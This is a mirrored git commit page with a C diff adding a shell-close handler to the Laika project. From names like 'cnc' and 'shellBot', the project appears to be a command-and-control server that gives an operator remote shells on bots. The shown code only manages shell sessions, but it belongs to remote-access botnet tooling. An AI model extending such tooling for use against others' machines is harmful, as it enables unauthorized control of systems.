1
0
mirror of https://github.com/CPunch/Laika.git synced 2025-10-24 23:30:15 +00:00

Added 'shell' command to LaikaShell

- another major refactoring
This commit is contained in:
2022-03-02 10:38:16 -06:00
parent 2d8e9ed106
commit 8ab3033bf3
13 changed files with 208 additions and 27 deletions

View File

@@ -87,6 +87,22 @@ void laikaC_handleAuthenticatedShellOpen(struct sLaika_peer *authPeer, LAIKAPKT_
laikaS_emptyOutPacket(peer, LAIKAPKT_SHELL_OPEN);
}
void laikaC_handleAuthenticatedShellClose(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, void *uData) {
struct sLaika_authInfo *aInfo = (struct sLaika_authInfo*)uData;
struct sLaika_cnc *cnc = aInfo->info.cnc;
/* an AUTH_SHELL_CLOSE can be sent after the shell has already been closed, so don't error just ignore the packet */
if (aInfo->shellBot == NULL)
return;
/* forward to SHELL_CLOSE to auth */
laikaS_emptyOutPacket(aInfo->shellBot, LAIKAPKT_SHELL_CLOSE);
/* close shell */
((struct sLaika_botInfo*)(aInfo->shellBot->uData))->shellAuth = NULL;
aInfo->shellBot = NULL;
}
void laikaC_handleAuthenticatedShellData(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, void *uData) {
uint8_t data[LAIKA_SHELL_DATA_MAX_LENGTH];
struct sLaika_authInfo *aInfo = (struct sLaika_authInfo*)uData;